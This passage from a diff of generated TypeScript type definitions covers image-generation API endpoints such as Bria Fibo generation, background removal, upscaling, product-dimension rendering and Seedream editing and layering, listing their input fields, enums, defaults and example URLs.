'bottom-right foreground'. + * @type string + */ + location: string +} + +export type StructuredPrompt79556F82 = { + /** + * @description Describe the overall environment, setting, or background, including any notable background elements. + * @type string + */ + background_setting: string + /** + * @description A concise summary of the image content, 200 words maximum. + * @type string + */ + short_description: string + /** + * @description Explicitly describe any visible emotions or expressions on subjects. + */ + subject_emotions?: string | null + /** + * @description Details about the lighting. + * @type object + */ + lighting: LightingDetailsEee48B7D + /** + * @description Details about photographic characteristics. + */ + photographic_characteristics?: PhotographicCharacteristicsDetails0D80F8Ed | null + /** + * @description List of prominent foreground/midground objects. + * @type array + */ + objects: ObjectDescriptionB0Ed7132[] + /** + * @description Details about the image aesthetics. + * @type object + */ + aesthetics: AestheticsDetails790D8A7E + /** + * @description Provide any additional context that helps understand the image better. + * @type string + */ + context: string + /** + * @description List of text renders in the image. + */ + text_render?: TextRender4F7E28C0[] | null + /** + * @description describe specific artistic characteristics, 3 words maximum. + * @type string + */ + artistic_style: string + /** + * @description Identify the artistic style or medium. + */ + style_medium?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image12317F08 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaFiboLiteGenerate = { + /** + * @description Current prompt. + * @type object + */ + structured_prompt: StructuredPrompt79556F82 + /** + * @description Generated images. + * @type array | undefined + */ + images?: { + [key: string]: unknown + }[] + /** + * @description Generated image. + * @type object + */ + image: Image12317F08 +} + +export type PhotographicCharacteristics916F09A5 = { + /** + * @description The focal length of the lens in the image to be generated. + */ + lens_focal_length?: string | null + /** + * @description The angle of the camera in the image to be generated. + */ + camera_angle?: string | null + /** + * @description The focus in the image to be generated. + */ + focus?: string | null + /** + * @description The depth of field in the image to be generated. + */ + depth_of_field?: string | null +} + +export type LightingCfbfcaf5 = { + /** + * @description The shadows in the image to be generated. + */ + shadows?: string | null + /** + * @description The direction of the lighting in the image to be generated. + */ + direction?: string | null + /** + * @description The conditions of the lighting in the image to be generated. + */ + conditions?: string | null +} + +export type AestheticsE7A80328 = { + /** + * @description The composition of the image to be generated. + */ + composition?: string | null + /** + * @description The preference score of the image to be generated. + */ + preference_score?: string | null + /** + * @description The color scheme of the image to be generated. + */ + color_scheme?: string | null + /** + * @description The mood and atmosphere of the image to be generated. + */ + mood_atmosphere?: string | null + /** + * @description The aesthetic score of the image to be generated. + */ + aesthetic_score?: string | null +} + +export type PromptObject64F1B766 = { + /** + * @description The number of objects in the image. + */ + number_of_objects?: number | null + /** + * @description The gender of the object in the image. + */ + gender?: string | null + /** + * @description The relative size of the object in the image. + */ + relative_size?: string | null + /** + * @description The action of the object in the image. + */ + action?: string | null + /** + * @description The appearance details of the object. + */ + appearance_details?: string | null + /** + * @description The texture of the object. + */ + texture?: string | null + /** + * @description The shape and color of the object. + */ + shape_and_color?: string | null + /** + * @description The clothing of the object in the image. + */ + clothing?: string | null + /** + * @description The orientation of the object in the image. + */ + orientation?: string | null + /** + * @description The relationship of the object to other objects in the image. + * @type string + */ + relationship: string + /** + * @description The pose of the object in the image. + */ + pose?: string | null + /** + * @description The skin tone and texture of the object in the image. + */ + skin_tone_and_texture?: string | null + /** + * @description A description of the object to be generated. + */ + description?: string | null + /** + * @description The expression of the object in the image. + */ + expression?: string | null + /** + * @description The location of the object in the image. + */ + location?: string | null +} + +/** + * @description Structured prompt for tailored-model requests, with the extra custom fields. + * @type object + */ +export type TailoredStructuredPrompt = { + /** + * @description A list of text to be rendered in the image. + * @default [] + */ + text_render?: unknown[] | null + /** + * @description The photographic characteristics of the image to be generated. + */ + photographic_characteristics?: PhotographicCharacteristics916F09A5 | null + /** + * @description The artistic style of the image to be generated. + */ + artistic_style?: string | null + /** + * @description The style medium of the image to be generated. + */ + style_medium?: string | null + art_direction?: string | null + /** + * @description The lighting of the image to be generated. + */ + lighting?: LightingCfbfcaf5 | null + trigger_word?: string | null + /** + * @description The aesthetics of the image to be generated. + */ + aesthetics?: AestheticsE7A80328 | null + sub_trigger_word?: string | null + action_description?: string | null + /** + * @description The context of the image to be generated. + */ + context?: string | null + /** + * @description A short description of the image to be generated. + */ + short_description?: string | null + actor_prefix?: string | null + /** + * @description A list of objects in the image to be generated, along with their attributes and relationships to other objects in the image. + * @default [] + */ + objects?: PromptObject64F1B766[] | null + /** + * @description The background setting of the image to be generated. + */ + background_setting?: string | null +} + +export const inputBriaFiboGenerateAspectRatioEnum = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboGenerateAspectRatioEnumKey = + (typeof inputBriaFiboGenerateAspectRatioEnum)[keyof typeof inputBriaFiboGenerateAspectRatioEnum] + +export const inputBriaFiboGenerateResolutionEnum = { + '1MP': '1MP', + '4MP': '4MP', +} as const + +export type InputBriaFiboGenerateResolutionEnumKey = + (typeof inputBriaFiboGenerateResolutionEnum)[keyof typeof inputBriaFiboGenerateResolutionEnum] + +export type InputBriaFiboGenerate = { + /** + * @description The structured prompt to generate an image from. + */ + structured_prompt?: TailoredStructuredPrompt | null + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Reference image (file or URL). + */ + image_url?: string | null + /** + * @description Aspect ratio. Options: 1:1, 2:3, 3:2, 3:4, 4:3, 4:5, 5:4, 9:16, 16:9 + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputBriaFiboGenerateAspectRatioEnumKey + /** + * @description Output image resolution + * @default '1MP' + * @type string | undefined + */ + resolution?: InputBriaFiboGenerateResolutionEnumKey + /** + * @description Prompt for image generation. + * @example A hyper-detailed, ultra-fluffy owl sitting in the trees at night, looking directly at the camera with wide, adorable, expressive eyes. Its feathers are soft and voluminous, catching the cool moonlight with subtle silver highlights. The owl’s gaze is curious and full of charm, giving it a whimsical, storybook-like personality. + */ + prompt?: string | null + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Negative prompt for image generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Number of inference steps. + * @minimum 20 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + steps_num?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image93C852E7 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaFiboGenerate = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: { + [key: string]: unknown + }[] + /** + * @description Generated image. + * @type object + */ + image: Image93C852E7 + /** + * @description Current prompt. + * @type object + */ + structured_prompt: { + [key: string]: unknown + } +} + +export type InputBriaGenfillV2 = { + /** + * @description The mask image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Fibo_edit/flower_input_mask.png + * @type string + */ + mask_url: string + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Fibo_edit/flower.png + * @type string + */ + image_url: string + /** + * @description Instruct what elements you would like to fill in your image based on the mask. + * @example A beautiful colorful butterfly + * @type string + */ + instruction: string + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Number of inference steps. + * @minimum 20 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + steps_num?: number + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageFe7Fc189 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaGenfillV2 = { + /** + * @description Generated images. + * @default [] + * @example [{"url":"https://bria-datasets.s3.us-east-1.amazonaws.com/Fibo_edit/flower_with_butterfly.jpg"}] + * @type array | undefined + */ + images?: ImageFe7Fc189[] + /** + * @description Generated image. + * @type object + */ + image: ImageFe7Fc189 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type InputBriaGuidedRemoveBackground = { + /** + * @description Optional. Plain words for how to change the default cutout of the photo's obvious subject: add something ('the person with the mat and the plant'), drop something ('the woman at her desk without the lamp') or narrow it ('only the chair'). Everything kept is the original pixels with a new alpha channel. Leave it empty for the plain cutout of the obvious subject. + * @example the person with the mat and the plant + */ + prompt?: string | null + /** + * @description Source image as a public URL, a base64 data URI (data:image/png;base64,...) or raw base64-encoded image bytes. + * @default 'https://labs-assets.bria.ai/api-examples/guided-remove-background/yoga_studio_input.jpg' + * @example https://labs-assets.bria.ai/api-examples/guided-remove-background/yoga_studio_input.jpg + * @type string | undefined + */ + image_url?: string + /** + * @description + * If true, the function waits for the image to be generated and uploaded + * before returning, so the image is returned directly (base64) instead of + * via the CDN. Increases latency. + * + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Tighten the output canvas to the kept content. + * @default false + * @type boolean | undefined + */ + autocrop?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image77Ab25D3 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputBriaGuidedRemoveBackground = { + /** + * @description The original photo with a new alpha channel: the obvious subject, adjusted by the prompt (RGBA PNG). + * @type object + */ + image: Image77Ab25D3 +} + +export const inputBriaIncreaseResolutionOutputTypeEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputBriaIncreaseResolutionOutputTypeEnumKey = + (typeof inputBriaIncreaseResolutionOutputTypeEnum)[keyof typeof inputBriaIncreaseResolutionOutputTypeEnum] + +export const inputBriaIncreaseResolutionDesiredIncreaseEnum = { + '2': 2, + '4': 4, +} as const + +export type InputBriaIncreaseResolutionDesiredIncreaseEnumKey = + (typeof inputBriaIncreaseResolutionDesiredIncreaseEnum)[keyof typeof inputBriaIncreaseResolutionDesiredIncreaseEnum] + +export type InputBriaIncreaseResolution = { + /** + * @description Image format. JPEG carries no alpha, so preserve_alpha does not apply. + * @default 'png' + * @type string | undefined + */ + output_type?: InputBriaIncreaseResolutionOutputTypeEnumKey + /** + * @description Reattach the source alpha channel to the result. + * @default true + * @type boolean | undefined + */ + preserve_alpha?: boolean + /** + * @description Correct the upscaled result's color cast against the source image. + * @default false + * @type boolean | undefined + */ + preserve_color?: boolean + /** + * @description Return the image inline instead of as a URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the image to upscale. + * @example https://bria-test-images.s3.amazonaws.com/increase_res/playground/sample_input_1000x1250.png + * @type string + */ + image_url: string + /** + * @description Upscale factor. Each factor is its own SwinIR checkpoint. + * @default 2 + * @type number | undefined + */ + desired_increase?: InputBriaIncreaseResolutionDesiredIncreaseEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA363Efa0 = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBriaIncreaseResolution = { + /** + * @description The upscaled image. + * @example {"height":2500,"url":"https://bria-test-images.s3.amazonaws.com/increase_res/playground/sample_upscaled_2x_2000x2500.png","content_type":"image/png","width":2000} + * @type object + */ + image: ImageA363Efa0 +} + +export const dimensionEntryPosition = { + top: 'top', + bottom: 'bottom', + left: 'left', + right: 'right', +} as const + +export type DimensionEntryPositionKey = + (typeof dimensionEntryPosition)[keyof typeof dimensionEntryPosition] + +export const dimensionEntryNameEnum = { + height: 'height', + width_bottom: 'width_bottom', + width_top: 'width_top', +} as const + +export type DimensionEntryNameEnumKey = + (typeof dimensionEntryNameEnum)[keyof typeof dimensionEntryNameEnum] + +export const dimensionEntryUnitEnum = { + mm: 'mm', + cm: 'cm', + m: 'm', + in: 'in', + '"': '"', + ft: 'ft', + "'": "'", +} as const + +export type DimensionEntryUnitEnumKey = + (typeof dimensionEntryUnitEnum)[keyof typeof dimensionEntryUnitEnum] + +export type DimensionEntry = { + /** + * @description Callout side; defaults by dimension name when omitted. + */ + position?: DimensionEntryPositionKey | null + /** + * @description Dimension to render. length/depth are intentionally disabled. + * @type string + */ + name: DimensionEntryNameEnumKey + /** + * @description Physical measurement value. + * @type number + */ + value: number + /** + * @description Physical measurement unit. + * @type string + */ + unit: DimensionEntryUnitEnumKey +} + +export const capacityInputUnitEnum = { + fl_oz: 'fl_oz', + ml: 'ml', + l: 'l', + qt: 'qt', + gal: 'gal', + cups: 'cups', +} as const + +export type CapacityInputUnitEnumKey = + (typeof capacityInputUnitEnum)[keyof typeof capacityInputUnitEnum] + +export type CapacityInput = { + value: number + unit: CapacityInputUnitEnumKey +} + +export const weightInputLabelEnum = { + Weight: 'Weight', + 'Net Weight': 'Net Weight', +} as const + +export type WeightInputLabelEnumKey = + (typeof weightInputLabelEnum)[keyof typeof weightInputLabelEnum] + +export const weightInputUnitEnum = { + lb: 'lb', + oz: 'oz', + g: 'g', + kg: 'kg', +} as const + +export type WeightInputUnitEnumKey = + (typeof weightInputUnitEnum)[keyof typeof weightInputUnitEnum] + +export type WeightInput = { + value: number + /** + * @default 'Weight' + * @type string | undefined + */ + label?: WeightInputLabelEnumKey + unit: WeightInputUnitEnumKey +} + +export const inputBriaProductDimensionsStyleEnum = { + default: 'default', + childlike: 'childlike', + elegant: 'elegant', +} as const + +export type InputBriaProductDimensionsStyleEnumKey = + (typeof inputBriaProductDimensionsStyleEnum)[keyof typeof inputBriaProductDimensionsStyleEnum] + +export const inputBriaProductDimensionsUnitsDisplayEnum = { + single: 'single', + dual_bullet: 'dual_bullet', + dual_slash: 'dual_slash', + dual_parens: 'dual_parens', +} as const + +export type InputBriaProductDimensionsUnitsDisplayEnumKey = + (typeof inputBriaProductDimensionsUnitsDisplayEnum)[keyof typeof inputBriaProductDimensionsUnitsDisplayEnum] + +export const inputBriaProductDimensionsTitlePositionEnum = { + top_left: 'top_left', + top_center: 'top_center', + top_right: 'top_right', +} as const + +export type InputBriaProductDimensionsTitlePositionEnumKey = + (typeof inputBriaProductDimensionsTitlePositionEnum)[keyof typeof inputBriaProductDimensionsTitlePositionEnum] + +export const inputBriaProductDimensionsOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + dual: 'dual', +} as const + +export type InputBriaProductDimensionsOutputFormatEnumKey = + (typeof inputBriaProductDimensionsOutputFormatEnum)[keyof typeof inputBriaProductDimensionsOutputFormatEnum] + +export type InputBriaProductDimensions = { + /** + * @description Source product image as a public URL or raw base64-encoded image bytes. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/product_dimensions/water+bottle+fal/water_bottle_white_background.png + * @type string + */ + image: string + /** + * @description Dimension callouts to render. At least one entry is required. + * @example [{"position":"left","name":"height","value":22,"unit":"cm"},{"position":"bottom","name":"width_bottom","value":7,"unit":"cm"}] + * @type array + */ + dimensions: DimensionEntry[] + /** + * @description Hex color or one of: white, cream, charcoal. + * @default 'white' + * @type string | undefined + */ + background?: string + /** + * @description Optional capacity badge below the product. + */ + capacity?: CapacityInput | null + /** + * @description Rendering style. + * @example default + * @type string + */ + style: InputBriaProductDimensionsStyleEnumKey + /** + * @description Optional weight badge below the product. + */ + weight?: WeightInput | null + /** + * @description Scale dimension line lengths by measurement. + * @default true + * @type boolean | undefined + */ + proportional_lines?: boolean + /** + * @description How labels display primary and secondary units when both are provided. + * @default 'single' + * @type string | undefined + */ + units_display?: InputBriaProductDimensionsUnitsDisplayEnumKey + /** + * @description When true, return generated images directly as base64 instead of CDN URLs. + * @default false + * @type boolean | undefined + */ + sync?: boolean + /** + * @description Square output edge length in pixels. + * @minimum 256 + * @maximum 2200 + * @default 2200 + * @type integer | undefined + */ + output_size?: number + /** + * @description Optional headline above the product. + * @example Water Bottle + */ + title?: string | null + /** + * @description Title placement along the top. + * @default 'top_center' + * @type string | undefined + */ + title_position?: InputBriaProductDimensionsTitlePositionEnumKey + /** + * @description Controls the rendered response: png, jpeg, or dual composite plus transparent overlay. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBriaProductDimensionsOutputFormatEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageAcc9De7E = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaProductDimensions = { + /** + * @description Rendered product dimensions image. + * @type object + */ + image: ImageAcc9De7E + /** + * @description Transparent overlay returned only for output_format=dual. + */ + transparent_overlay?: ImageAcc9De7E | null +} + +export type InputBriaReplaceBackground = { + /** + * @description Negative prompt for background replacement. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Prompt for background replacement. + * @example On a smooth kitchen counter in front of a blue and white patterned ceramic tile wall. A yellow ceramic mug sits to the right. Shot from a straight-on front angle. + */ + prompt?: string | null + /** + * @description Reference image (file or URL). + * @default https://v3b.fal.media/files/b/0a8bea8c/Mztgx0NG3HPdby-4iPqwH_a_coffee_machine_standing_in_the_kitchen.png + */ + image_url?: string | null + /** + * @description Number of inference steps. + * @default 30 + * @type integer | undefined + */ + steps_num?: number + /** + * @description Random seed for reproducibility. + * @default 4925634 + * @type integer | undefined + */ + seed?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image46F5C286 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaReplaceBackground = { + /** + * @description Generated images. + * @type array | undefined + */ + images?: { + [key: string]: unknown + }[] + /** + * @description Generated image. + * @type object + */ + image: Image46F5C286 +} + +export type InputBriaUpscaleCreative = { + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Preserve alpha channel from input image. + * @default true + * @type boolean | undefined + */ + preserve_alpha?: boolean + /** + * @default 'https://bria-datasets.s3.us-east-1.amazonaws.com/upscale/wild-west.png' + * @type string | undefined + */ + image_url?: string +} + +export type OutputBriaUpscaleCreative = unknown + +export type ImageSizeD933Ede5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputBytedanceSeedreamV5FlashEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5FlashEditOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5FlashEditOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5FlashEditOutputFormatEnum] + +export const inputBytedanceSeedreamV5FlashEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_1K: 'auto_1K', + 'auto_1.5K': 'auto_1.5K', + auto_2K: 'auto_2K', +} as const + +export type InputBytedanceSeedreamV5FlashEditImageSizeKey = + (typeof inputBytedanceSeedreamV5FlashEditImageSize)[keyof typeof inputBytedanceSeedreamV5FlashEditImageSize] + +export const inputBytedanceSeedreamV5FlashEditBackgroundEnum = { + opaque: 'opaque', + transparent: 'transparent', +} as const + +export type InputBytedanceSeedreamV5FlashEditBackgroundEnumKey = + (typeof inputBytedanceSeedreamV5FlashEditBackgroundEnum)[keyof typeof inputBytedanceSeedreamV5FlashEditBackgroundEnum] + +export type InputBytedanceSeedreamV5FlashEdit = { + /** + * @description The file format of the generated image. + * @default 'jpeg' + * @example jpeg + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5FlashEditOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. Total pixels must be between 921600 and 4624220, with aspect ratio between 1/16 and 16. + * @default auto_2K + * @example auto_2K + */ + image_size?: ImageSizeD933Ede5 | InputBytedanceSeedreamV5FlashEditImageSizeKey + /** + * @description Number of separate model generations to run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description List of URLs of input reference images. Up to 10 images are supported; if more are sent, only the last 10 are used. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_1.png","https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_2.png","https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_3.png"] + * @type array + */ + image_urls: string[] + /** + * @description The text prompt used to edit the image. + * @example Replace the product in Figure 1 with that in Figure 2. Seamlessly render the logo in Figure 3 into the product design, in a frosted glass texture. + * @type string + */ + prompt: string + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description Use `transparent` with exactly one alpha-channel reference and PNG output to preserve transparency. + * @default 'opaque' + * @type string | undefined + */ + background?: InputBytedanceSeedreamV5FlashEditBackgroundEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image970A7Db2 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedreamV5FlashEdit = { + /** + * @description Generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0aa16df4/L8veDBOTxHhmpO5wQnioS_14c2d9c1736b4803a43796669c6d4fca.png"}] + * @type array + */ + images: Image970A7Db2[] +} + +export const inputBytedanceSeedreamV5FlashLayerizeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5FlashLayerizeOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5FlashLayerizeOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5FlashLayerizeOutputFormatEnum] + +export const inputBytedanceSeedreamV5FlashLayerizeImageSizeEnum = { + auto: 'auto', + auto_1K: 'auto_1K', + 'auto_1.5K': 'auto_1.5K', + auto_2K: 'auto_2K', +} as const + +export type InputBytedanceSeedreamV5FlashLayerizeImageSizeEnumKey = + (typeof inputBytedanceSeedreamV5FlashLayerizeImageSizeEnum)[keyof typeof inputBytedanceSeedreamV5FlashLayerizeImageSizeEnum] + +export type InputBytedanceSeedreamV5FlashLayerize = { + /** + * @description Format of the base image. Separated layers always use PNG. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5FlashLayerizeOutputFormatEnumKey + /** + * @description Optional instructions describing which elements to separate. When empty, the model automatically separates the major elements. Normalized `left top right bottom` tags may be used for precise coordinate targeting. + * @default '' + * @example Return name and description in english. + * @type string | undefined + */ + prompt?: string + /** + * @description URL of the image to decompose into a base image and independently editable layers. The image must contain between 512x512 and 6000x6000 total pixels, have an aspect ratio between 1/16 and 16, and be no larger than 30 MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kontext_example_input.webp + * @type string + */ + image_url: string + /** + * @description Resolution tier for the output base image and layers. `auto` adapts to the input image while preserving each element's aspect ratio. + * @default 'auto' + * @example auto + * @type string | undefined + */ + image_size?: InputBytedanceSeedreamV5FlashLayerizeImageSizeEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA75Bee4C = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type SeedDream50ProLayerBoundingBox = { + /** + * @description Layer bounds as [left, top, right, bottom] coordinates normalized to the integer range [0, 1000]. + * @type array + */ + normalized: number[] + /** + * @description Layer bounds as [left, top, right, bottom] pixel coordinates in the output base image coordinate system. + * @type array + */ + absolute: number[] +} + +export type SeedDream50ProLayer = { + /** + * @description Stacking order from bottom to top. The base image always has z_index 0. + * @minimum 0 + * @maximum 16 + * @type integer + */ + z_index: number + /** + * @description The layer's position in the base image coordinate system. Omitted for the base image. + */ + bounding_box?: SeedDream50ProLayerBoundingBox | null + /** + * @description Model-generated label for the layer. Omitted for the base image. + */ + name?: string | null + /** + * @description Detailed model-generated description of the layer. Omitted for the base image. + */ + description?: string | null + /** + * @description The generated base image or separated layer. + * @type object + */ + image: ImageA75Bee4C +} + +export type OutputBytedanceSeedreamV5FlashLayerize = { + /** + * @description The same images as `layers`, in the same order, flattened for gallery rendering. + * @example [{"url":"https://v3b.fal.media/files/b/0aa54c02/95ZvKubW63JnC9ubRbDo2_74290e95fb6d4bd4bac756f3e2667317.png"}] + * @type array + */ + images: ImageA75Bee4C[] + /** + * @description The base image followed by up to 16 separated layers, ordered by increasing z_index. + * @type array + */ + layers: SeedDream50ProLayer[] +} + +export type ImageSizeB298B686 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputBytedanceSeedreamV5FlashTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5FlashTextToImageOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5FlashTextToImageOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5FlashTextToImageOutputFormatEnum] + +export const inputBytedanceSeedreamV5FlashTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_1K: 'auto_1K', + 'auto_1.5K': 'auto_1.5K', + auto_2K: 'auto_2K', +} as const + +export type InputBytedanceSeedreamV5FlashTextToImageImageSizeKey = + (typeof inputBytedanceSeedreamV5FlashTextToImageImageSize)[keyof typeof 